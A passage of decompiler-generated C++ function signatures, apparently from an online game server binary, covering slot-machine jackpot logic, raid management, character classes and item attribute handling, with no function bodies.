PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake_JackPotPrice(SlotMachine::SlotMachineJackPotRanking *this, PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTINFO_CMD *jpinfo); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_SendJackPotPriceTo(SlotMachine::SlotMachineJackPotRanking *this, #593 *ply); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_PacketMake(SlotMachine::SlotMachineJackPotRanking *this, PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_ACK *ack, GBSMBetType betype); unsigned int __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRateCalc(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, unsigned int onebet); unsigned int __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_GetJackpotPrice(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, GBTaxRate *tx); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, unsigned int bet); unsigned int __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackpotAccumulate(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine); GBSMAll *__thiscall std::vector>::_Ufill(std::vector > *this, GBSMAll *_Ptr, unsigned int _Count, GBSMAll *_Val); GBSMCenter *__thiscall std::vector>::_Ufill(std::vector > *this, GBSMCenter *_Ptr, unsigned int _Count, GBSMCenter *_Val); TickTimer *__thiscall std::vector>::_Ufill(std::vector > *this, TickTimer *_Ptr, unsigned int _Count, TickTimer *_Val); GBTaxRate *__thiscall SHND::CommonData>::cd_Find(SHND::CommonData > *this, SHND::CmpGameType cmp); GBReward *__thiscall SHND::CommonData::cd_Find(SHND::CommonData *this, SHND::CmpGambleItemReward cmp); CharaterSkillList::CharSkill *__thiscall std::vector>::_Ucopy(std::allocator *_Al, CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *__formal); void __cdecl std::_Insertion_sort>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last); char __thiscall SlotMachine::SlotMachineScreen::go_Init(SlotMachine::SlotMachineScreen *this, #593 *pGambleNPC); char __thiscall SlotMachine::SlotMachineScreen::go_Enter_Player(SlotMachine::SlotMachineScreen *this, #593 *pEntPlayer); void __thiscall SlotMachine::SlotMachineScreen::go_Routine(SlotMachine::SlotMachineScreen *this); void __thiscall SlotMachine::SlotMachineScreen::go_SMS_PacketMake_JackpotRank(SlotMachine::SlotMachineScreen *this, PROTO_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_ACK *ack); int __thiscall SlotMachine::SlotMachineScreen::sms_LineRate(SlotMachine::SlotMachineScreen *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *ack, int startR, int startC, int dR, int dC); void __thiscall SlotMachine::SlotMachineScreenManager::smsm_Action(SlotMachine::SlotMachineScreenManager *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf, GBSMBetType type, unsigned __int16 oncebet, PROTO_NC_GAMBLE_SLOTMACHINE_START_REQ *bettinginfo, char *GodOfSlotMachine); SlotMachine::SlotMachineScreenManager::NPCvsBetType *__thiscall std::vector>::_Ufill(std::vector > *this, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Ptr, unsigned int _Count, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val); void __cdecl std::sort_heap>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last); unsigned __int16 __thiscall SlotMachine::SlotMachineScreen::SMS_StopButton(SlotMachine::SlotMachineScreen *this, #593 *, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned __int16 *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __cdecl std::_Sort>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned __int16 *_Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const char *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMLine *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMAll *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMCenter *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SLOTMACHINE_JackPotRank *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBSMJackpotRate *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L199351(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall SlotMachine::SlotMachineScreenManager::_SlotMachineScreenManager(SlotMachine::SlotMachineScreenManager *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBSMAll *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBSMCenter *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SLOTMACHINE_JackPotRank _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SLOTMACHINE_JackPotRank *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBSMJackpotRate *_Val); SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__cdecl std::_Copy_opt(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__cdecl std::_Copy_backward_opt(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall SlotMachine::SlotMachineScreenManager::SlotMachineScreenManager(SlotMachine::SlotMachineScreenManager *this); void __thiscall std::vector>::push_back(std::vector > *this, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GBSMAll *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GBSMCenter *_Val); void __thiscall std::vector>::push_back(std::vector > *this, SLOTMACHINE_JackPotRank *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GBSMJackpotRate *_Val); void __cdecl std::fill(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val); SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__cdecl std::_Uninit_copy>(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Last, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall SlotMachine::SlotMachineScreen::go_SMS_PacketMake_WintRank(SlotMachine::SlotMachineScreen *this, PROTO_NC_GAMBLE_SLOTMACHINE_WINRANKING_ACK *ack); void __thiscall SlotMachine::SlotMachineScreen::SMS_WinRank(SlotMachine::SlotMachineScreen *this, std::vector > *wincollect, GBSMBetType betype); void __thiscall SlotMachine::SlotMachineScreenManager::smsm_Load(SlotMachine::SlotMachineScreenManager *this); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall SlotMachine::SlotMachineAnalyse::_SlotMachineAnalyse(SlotMachine::SlotMachineAnalyse *this); void __thiscall SlotMachine::SlotMachineAnalyse::sma_Load(SlotMachine::SlotMachineAnalyse *this); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_Load(SlotMachine::SlotMachineJackPotRanking *this); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_JackPotRankingSet(SlotMachine::SlotMachineJackPotRanking *this, unsigned int machine, Name4 *name, unsigned int price); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_RankingSet(SlotMachine::SlotMachineJackPotRanking *this, PROTO_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK *ack); void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this); void __cdecl std::_Uninit_fill_n>(SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_First, unsigned int _Count, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall SlotMachine::SlotMachineCluster::go_SMC_WinRank(SlotMachine::SlotMachineCluster *this, std::vector > *wincollect, GBSMBetType betype); unsigned __int16 __thiscall SlotMachine::SlotMachineScreen::SMS_WheelStop(SlotMachine::SlotMachineScreen *this, #593 *player); void __thiscall SlotMachine::SlotMachineAnalyse::SlotMachineAnalyse(SlotMachine::SlotMachineAnalyse *this); void __thiscall GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *__thiscall std::vector>::_Ufill(std::vector > *this, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Ptr, unsigned int _Count, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo _Val); void __thiscall SlotMachine::SlotMachineJackPotRanking::SlotMachineJackPotRanking(SlotMachine::SlotMachineJackPotRanking *this); void __thiscall SlotMachine::SlotMachineJackPotRanking::_SlotMachineJackPotRanking(SlotMachine::SlotMachineJackPotRanking *this); void __thiscall SlotMachine::SlotMachineJackPotRanking::smjpr_RankingReq(SlotMachine::SlotMachineJackPotRanking *this); void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where); int std::_Tree_std::allocator>_0>>::erase(...); void __thiscall AIScriptContainer::aisc_Load(AIScriptContainer *this); void __thiscall AIScriptContainer::_AIScriptContainer(AIScriptContainer *this); // int __stdcall closesocket(SOCKET s); // int __stdcall shutdown(SOCKET s, int how); void __thiscall AssertClass::ac_DateTime(AssertClass *this); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, const char *flag); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag); void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag1, int flag2); void __cdecl ShineExit(char *where); void __thiscall BTree::BTree(BTree *this); void __thiscall BTree::_BTree(BTree *this); int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id); unsigned int __thiscall BTree::operator__(BTree *this, const char *string); int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id); unsigned int __thiscall BTree::operator__(BTree *this, const char *string); int __thiscall RandomBox::rb_largerandom(RandomBox *this, int rnd); void __thiscall RandomSlot::RandomSlot(RandomSlot *this); void __thiscall RandomSlot::rs_Init(RandomSlot *this, int limit); void __thiscall RandomBox::RandomBox(RandomBox *this); void __thiscall RandomBox::_RandomBox(RandomBox *this); void __thiscall Raid::_Raid(Raid *this); bool __thiscall Raid::DelSubLeader(Raid *this, const unsigned int TargetMember, unsigned __int16 *rErrorType); bool __thiscall Raid::_PartyLeaveCheckResult(Raid *this, int hr, unsigned __int16 *rErrorType); char __thiscall Raid::GetNumOfMember(Raid *this); unsigned int __thiscall Raid::GetLooter(Raid *this); CLooting *__thiscall Raid::GetLooting(Raid *this); Raid::iterator *__thiscall Raid::iterator::operator__(Raid::iterator *this); bool __thiscall Raid::iterator::operator__(Raid::iterator *this, Raid::iterator *iter); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak unsigned __int16 __thiscall Raid::iterator::GetPartyRegNo(Raid::iterator *this); void __thiscall Raid::Raid(Raid *this); void *__thiscall Raid::_vector_deleting_destructor_(Raid *this, unsigned int); Raid::iterator *__thiscall Raid::Begin(Raid *this, Raid::iterator *result); Raid::iterator *__thiscall Raid::End(Raid *this, Raid::iterator *result); bool __thiscall Raid::InitRaid(Raid *this, unsigned __int16 val, const unsigned __int16 *pPartyNos, unsigned __int16 *rErrorType); bool __thiscall Raid::AddMember(Raid *this, PROTO_NC_RAID_ZONE_MEMBER_JOIN_CMD *pMemberInfo, unsigned __int16 *rErrorType); unsigned int __thiscall Raid::GetMemberRegNoByIndex(Raid *this, char nPartyIndex, char nSlot); void __thiscall Raid::SetItemDiceGameMode(Raid *this, bool IsMode); bool __thiscall Raid::IsItemDiceGameIng(Raid *this); bool __thiscall Raid::iterator::GetCharRegistNo(Raid::iterator *this, unsigned int *rCharRegistNo); bool __thiscall Raid::iterator::operator__(Raid::iterator *this, Raid::iterator *iter); CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *__thiscall Raid::iterator::GetSlotInfo(Raid::iterator *this); bool __thiscall Raid::iterator::UpdateMemberName(Raid::iterator *this, Name4 *pNewID); void __thiscall RaidSystem::RaidSystem(RaidSystem *this, CParty *pParty); Raid *__thiscall RaidSystem::GetRaid(RaidSystem *this, unsigned __int16 RaidNumber); Raid *__thiscall RaidSystem::CreateRaid(RaidSystem *this, unsigned __int16 RaidNo, const unsigned __int16 *pkPartyNos, unsigned __int16 *rErrorType); Raid *__thiscall RaidSystem::CreateRaidAndParty(RaidSystem *this, const unsigned __int16 PartyNo, unsigned __int16 *rErrorType); unsigned __int16 __thiscall RaidSystem::GetInRaidNumber(RaidSystem *this, unsigned int RegNo); bool __thiscall Raid::Reset(Raid *this, unsigned __int16 *rErrorType); Raid::iterator *__thiscall Raid::Find(Raid *this, Raid::iterator *result, const unsigned int MemberReg); bool __thiscall Raid::AddMember(Raid *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMemberInfo, unsigned __int16 *rErrorType); bool __thiscall Raid::SlotChangeMember(Raid *this, const unsigned int MemberReg, char nPartyIndex, char nPartySlot, unsigned __int16 *rErrorType); bool __thiscall Raid::DeleteMember(Raid *this, const unsigned int MemberRegNo, unsigned __int16 *rErrorType); bool __thiscall Raid::SwapMember(Raid *this, const unsigned int MemberLeft, const unsigned int MemberRight, unsigned __int16 *rErrorType); bool __thiscall Raid::AddSubLeader(Raid *this, const unsigned int TargetMember, unsigned __int16 *rErrorType); bool __thiscall Raid::SetLooter(Raid *this, unsigned int val); bool __thiscall Raid::SetLeader(Raid *this, unsigned int Leader); bool __thiscall RaidSystem::ResetRaid(RaidSystem *this, unsigned __int16 RaidNumber, unsigned __int16 *rErrorType); void __thiscall RecallPointTable::RecallPointTable(ShineScript *this); FieldOption::FieldAttr *__thiscall FieldOption::fo_GetFieldAttr(FieldOption *this, char *mapname); int __thiscall FieldOption::fo_GetMechineNumber(FieldOption *this, char *servergroup, unsigned int serial, int mymachine); void __thiscall FieldOption::fo_Store(FieldOption *this, FieldOption::FieldAttr *fldtemplet); ItemAttributeClass *__thiscall ItemAttributeClassContainer::operator__(ItemAttributeClassContainer *this, unsigned __int16 itmid); unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetAttrSize(ItemAttrCls_GBCoin *this, SHINE_ITEM_ATTRIBUTE *itmattr); int __thiscall ItemAttributeClass::iac_ItemClass(ItemAttributeClass *this); int __thiscall ShineObjectClass::ShineObject::so_smo_CrossCounterDamage(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm); int __thiscall std::codecvt_base::do_encoding(ORFieldIndex *this); int __thiscall ItemAttrCls_DwrdLot::iac_GetLot(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassFighter::cc_PromoteClass(ORFieldString *this); void __thiscall ItemAttrCls_QuestLot::iac_SetLot(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot); int __thiscall ORColumnHeaderByte::orch_FieldType(ORFieldByte *this); ShineDateTime *__thiscall ItemAttrCls_Amulet::iac_GetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_Amulet::iac_Getupgrade(ItemAttrCls_Amulet *this, ItemTotalInformation *itm); ShineDateTime *__thiscall ItemAttrCls_Weapon::iac_GetDeteleDateTime(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm); ShineDateTime *__thiscall ItemAttrCls_Boot::iac_GetDeteleDateTime(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassCleric::cc_ClassType(ItemAttrCls_Armor *this); int __thiscall CharClassHighCleric::cc_ClassType(ItemAttrCls_Shield *this); int __thiscall CharClassPaladin::cc_ClassType(ItemAttrCls_Boot *this); int __thiscall ItemAttrCls_Armor::iac_Getupgrade(ItemAttrCls_Boot *this, ItemTotalInformation *itm); ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetDeteleDateTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_Furniture::iac_ItemClass(ItemAttrCls_Furniture *this); ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetEndureEndTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassGuardian::cc_ClassType(ItemAttrCls_Decoration *this); int __thiscall ItemAttrCls_SkillScroll::iac_ItemClass(ItemAttrCls_SkillScroll *this); int __thiscall ItemAttrCls_RecallScroll::iac_ItemClass(ItemAttrCls_RecallScroll *this); int __thiscall CharClassSharpShooter::cc_ClassType(ItemAttrCls_UpSource *this); int __thiscall CharClassRanger::cc_ClassType(ItemAttrCls_ItemChest *this); ShineDateTime *__thiscall ItemAttrCls_Capsule::iac_GetUseableDateTime(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm); int __thiscall ItemAttrCls_WeaponTitlaLicence::iac_ItemClass(ItemAttrCls_WeaponTitlaLicence *this); int __thiscall CharClassMage::cc_PromoteClass(ItemAttrCls_KingdomQuestItem *this); int __thiscall CharClassWizMage::cc_PromoteClass(ItemAttrCls_MiniHouseSkin *this); int __thiscall CharClassWarrock::cc_ClassType(ItemAttrCls_UpgradeRedGem *this); int __thiscall CharClassWizard::cc_PromoteClass(ItemAttrCls_UpgradeBlueGem *this); int __thiscall CharClassAssassin::cc_ClassType(ItemAttrCls_UpgradeGoldGem *this); int __thiscall ItemAttrCls_KQStep::iac_ItemClass(ItemAttrCls_KQStep *this); int __thiscall ItemAttrCls_WordLot::iac_GetLot(ItemAttrCls_KQStep *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassJoker::cc_PromoteClass(ItemAttrCls_Feed *this); ShineDateTime *__thiscall ItemAttrCls_Riding::iac_GetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm); int __thiscall CharClassChaser::cc_PromoteClass(ItemAttrCls_Riding *this); int __thiscall CharClassCloser::cc_PromoteClass(ItemAttrCls_Amount *this); int __thiscall ItemAttrCls_CostumWeapon::iac_ItemClass(ItemAttrCls_CostumWeapon *this); int __thiscall ItemAttrCls_ActionItem::iac_ItemClass(ItemAttrCls_ActionItem *this); unsigned int __thiscall ItemAttrCls_Enchant::iac_GetLot(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm); void __thiscall ItemAttrCls_Enchant::iac_SetLot(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm, unsigned int lot); int __thiscall ItemAttrCls_Enchant::iac_ItemClass(ItemAttrCls_Enchant *this); int __thiscall ItemAttrCls_GBCoin::iac_ItemClass(ItemAttrCls_GBCoin *this); int __thiscall ItemAttrCls_Capsule::iac_ItemClass(ItemAttrCls_Capsule *this); void __thiscall ItemAttributeClass::iac_SetEndTime(ItemAttributeClass *this, ShineDateTime *deletetime, int hour, tm *curtime, int curhour); void __thiscall ItemAttrCls_Amount::iac_SetAmount(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm, int amount); ItemOptionStorage *__thiscall ItemAttrCls_Amulet::iac_GetItemOptionStruct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Weapon::iac_GetItemOptionStruct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm); ItemOptionStorage *__thiscall ItemAttrCls_Boot::iac_GetItemOptionStruct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm); unsigned __int16 __thiscall ItemAttributeClass::iac_GetItemOptionUpgrade(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char Type); unsigned __int16 __thiscall ItemAttrCls_Amulet::iac_GetItemOptionUpgrade(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char Type); char *__thiscall ItemAttrCls_QuestLot::iac_fill2buffer(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Furniture::iac_fill2buffer(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Decoration::iac_fill2buffer(ItemAttrCls_Decoration *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_SkillScroll::iac_fill2buffer(ItemAttrCls_GBCoin *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_BindItem::iac_fill2buffer(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ItemChest::iac_fill2buffer(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Capsule::iac_fill2buffer(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amount::iac_fill2buffer(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Enchant::iac_fill2buffer(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_QuestLot::iac_fill2struct(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amount::iac_fill2struct(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Furniture::iac_fill2struct(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Decoration::iac_fill2struct(ItemAttrCls_Decoration *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_BindItem::iac_fill2struct(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_ItemChest::iac_fill2struct(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Enchant::iac_fill2struct(ItemAttrCls_Enchant *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Capsule::iac_fill2struct(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall ItemAttrCls_WordLot::iac_GetAttrSize(ItemAttrCls_QuestLot *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_DwrdLot::iac_GetAttrSize(ItemAttrCls_ActionItem *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Furniture::iac_GetAttrSize(ItemAttrCls_Furniture *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Decoration::iac_GetAttrSize(ItemAttrCls_Decoration *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_BindItem::iac_GetAttrSize(ItemAttrCls_BindItem *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_ItemChest::iac_GetAttrSize(ItemAttrCls_ItemChest *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Riding::iac_GetAttrSize(ItemAttrCls_Capsule *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall ItemAttributeClass::iac_Setoption(ItemAttributeClass *this, ItemOptionStorage *option, char *arg); void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Shield::iac_itemcreate(ItemAttrCls_Shield *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Boot::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Furniture::iac_itemcreate(ItemAttrCls_Furniture *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Decoration::iac_itemcreate(ItemAttrCls_Decoration *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_BindItem::iac_itemcreate(ItemAttrCls_BindItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_ItemChest::iac_itemcreate(ItemAttrCls_ItemChest *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_MiniHouseSkin::iac_itemcreate(ItemAttrCls_ActionItem *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_KQStep::iac_itemcreate(ItemAttrCls_KQStep *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Riding::iac_itemcreate(ItemAttrCls_Riding *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Amount::iac_itemcreate(ItemAttrCls_Amount *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_CostumWeapon::iac_itemcreate(ItemAttrCls_CostumWeapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Enchant::iac_itemcreate(ItemAttrCls_Enchant *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); void __thiscall ItemAttrCls_Capsule::iac_itemcreate(ItemAttrCls_Capsule *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); int __thiscall ItemAttrCls_CostumWeapon::iac_GetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti); void __thiscall ItemAttrCls_CostumWeapon::iac_SetChargedNumber(ItemAttrCls_CostumWeapon *this, ItemTotalInformation *iti, int num); 